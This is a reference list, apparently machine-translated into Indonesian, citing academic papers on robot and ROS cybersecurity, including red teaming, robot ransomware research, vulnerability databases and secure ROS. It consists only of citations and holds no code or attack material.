Mayoral-Vilches, Vı́ctor, Martin Pinzger, Stefan Rass, Bernhard Dieber, dan Endika Gil-Uriarte. 2020. “Dapatkah ROS Digunakan dengan Aman di Industri? Red Teaming ROS-Industrial.” arXiv Preprint arXiv:2009.08211 .
Mayoral-Vilches, Vı́ctor, Lander Usategui San Juan, Unai Ayucar Carbajo, Rubén Campo, Xabier Sáez de Cámara, Oxel Urzelai, Nuria Garcı́a, dan Endika Gil-Uriarte. 2019. “Ransomware Robot Industri: Akerbeltz.” arXiv Pracetak arXiv:1912.07714 .
Mayoral-Vilches, Vı́ctor, Lander Usategui San Juan, Bernhard Dieber, Unai Ayucar Carbajo, dan Endika Gil-Uriarte. 2019. “Memperkenalkan Basis Data Kerentanan Robot (RVD).” arXiv e-Cetakan , arXiv–1912.
McClean, Jarrod, Christopher Stull, Charles Farrar, dan David Mascareñas. 2013. “Penilaian Keamanan Siber-Fisik Awal terhadap Sistem Operasi Robot (Ros).” Dalam Teknologi Sistem Tak Berawak XV , 8741:874110. International Society for Optics; Photonics.
Mendia, Gorka Olalde, Lander Usategui San Juan, Xabier Perez Bascaran, Asier Bilbao Calvo, Alejandro Hernández Cordero, Irati Zamalloa Ugarte, Aday Muñiz Rosas, dkk. 2018. “Robotics CTF (RCTF), Tempat Bermain Robot Hacking.” arXiv Pracetak arXiv:1810.02690 .
Quigley, Morgan, Ken Conley, Brian Gerkey, Josh Faust, Tully Foote, Jeremy Leibs, Rob Wheeler, dan Andrew Y Ng. 2009. “ROS: Sistem Operasi Robot Sumber Terbuka.” Dalam Lokakarya ICRA tentang Perangkat Lunak Sumber Terbuka , 3:5. 3.2. Kobe, Jepang.
Quigley, Morgan, Brian Gerkey, Ken Conley, Josh Faust, Tully Foote, Jeremy Leibs, Eric Berger, Rob Wheeler, dan Andrew Ng. 2009. “ROS: Sistem Operasi Robot Sumber Terbuka.” Dalam Prosiding Lokakarya IEEE Intl. Conf. On Robotics and Automation (ICRA) tentang Robotika Sumber Terbuka . Kobe, Jepang.
Robinson, Adam. 2014. “Sejarah Robotika dalam Manufaktur.” Cerasis . http://cerasis.com/2014/10/06/robotics-in-manufacturing/ .
Rodrı́guez-Lera, Francisco J, Vicente Matellán-Olivera, Jesús Balsa-Comerón, Ángel Manuel Guerrero-Higueras, dan Camino Fernández-Llamas. 2018. “Enkripsi Pesan dalam Sistem Operasi Robot: Efek Samping dari Pengerasan Robot Seluler.” Batasan dalam TIK 5: 2.
Stoneburner, G. 2006. “Menuju Model Keamanan-Keselamatan Terpadu.” Komputer 39 (8): 96–97. https://doi.org/10.1109/MC.2006.283 .
Swinscow-Hall, Duncan. 2017. “Interaksi antara Keselamatan dan Keamanan.” https://wwwf.imperial.ac.uk/blog/security-institute/2017/01/03/the-relationship-between-safety-and-security/ .
Taurer, Sebastian, Bernhard Dieber, dan Peter Schartner. 2018. “Perekaman Data Aman dan Integritas Fungsional yang Terinspirasi oleh Biologi untuk Robot Cerdas.” Dalam Konferensi Internasional IEEE/RSJ 2018 tentang Robot Cerdas dan Sistem (IROS) , 8723–28. IEEE.
Vilches, Vı́ctor Mayoral, Endika Gil-Uriarte, Irati Zamalloa Ugarte, Gorka Olalde Mendia, Rodrigo Izquierdo Pisón, Laura Alzola-Kirschgens, Asier Bilbao Calvo, Alejandro Hernández Cordero, Lucas Apa, dan César Cerrudo. 2018. “Menuju Standar Terbuka untuk Menilai Tingkat Keparahan Kerentanan Keamanan Robot, Robot Vulnerability Scoring System (RVSS).” arXiv Pracetak arXiv:1807.10357 .
Vilches, Vı́ctor Mayoral, Lander Usategui San Juan, Bernhard Dieber, Unai Ayucar Carbajo, dan Endika Gil-Uriarte. 2019. “Memperkenalkan Basis Data Kerentanan Robot (Rvd).” arXiv Pracetak arXiv:1912.11299 .
Vilches, Vı́ctor Mayoral, Gorka Olalde Mendia, Xabier Perez Baskaran, Alejandro Hernández Cordero, Lander Usategui San Juan, Endika Gil-Uriarte, Odei Olalde Saez de Urabain, dan Laura Alzola-Kirschgens. 2018. “Aztarna, Alat Jejak Robot.” arXiv Pracetak arXiv:1812.09490 .
White, Ruffin, Gianluca Caiazza, Henrik Christensen, dan Agostino Cortesi. 2019. “Sros1: Menggunakan dan Mengembangkan Sistem Ros1 yang Aman.” Dalam Robot Operating System (ROS) , 373–405. Springer.
White, Ruffin, Gianluca Caiazza, Agostino Cortesi, Young Im Cho, dan Henrik I Christensen. 2019. “Black Block Recorder: Pencatatan Kotak Hitam yang Tidak Dapat Diubah untuk Robot melalui Blockchain.” Surat Robotika dan Otomasi IEEE 4 (4): 3812–19.
White, Ruffin, Gianluca Caiazza, Chenxu Jiang, Xinyue Ou, Zhiyue Yang, Agostino Cortesi, dan Henrik Christensen. 2019. “Pengintaian Jaringan dan Penggalian Kerentanan Sistem DDS yang Aman.” Dalam Simposium Keamanan dan Privasi Eropa IEEE 2019 (EuroS&PW) , 57–66. IEEE.
White, Ruffin, Dr Christensen, I Henrik, Dr Quigley, dkk. 2016. “SROS: Mengamankan ROS melalui Kabel, dalam Grafik, dan Melalui Kernel.” arXiv Preprint arXiv:1611.07060 .
White, Ruffin, Henrik I Christensen, Gianluca Caiazza, dan Agostino Cortesi. 2018. “Kontrol Akses yang Disediakan Secara Prosedural untuk Sistem Robotik.” Dalam Konferensi Internasional IEEE/RSJ 2018 tentang Robot Cerdas dan Sistem (IROS) , 1–9.
Young, Bryan. 2018. “Robot Pembunuh Pertama Ada di Sekitar pada Tahun 1979.” https://science.howstuffworks.com/first-killer-robot-was-around-back-in-1979.htm .
Zhu, Quanyan, Stefan Rass, Bernhard Dieber, dan Victor Mayoral Vilches. 2021a. “Pengantar Keamanan Siber Sistem Robot.” arXiv Preprint arXiv:2103.05789 .
Zhu, Quanyan, Stefan Rass, Bernhard Dieber, dan Víctor Mayoral Vilches. 2021b. “Keamanan Siber dalam Robotika: Tantangan, Pemodelan Kuantitatif, dan Praktik.” Foundations and Trends® dalam Robotika 9 (1): 1–129. https://doi.org/10.1561/2300000061 .
Comments
Post a Comment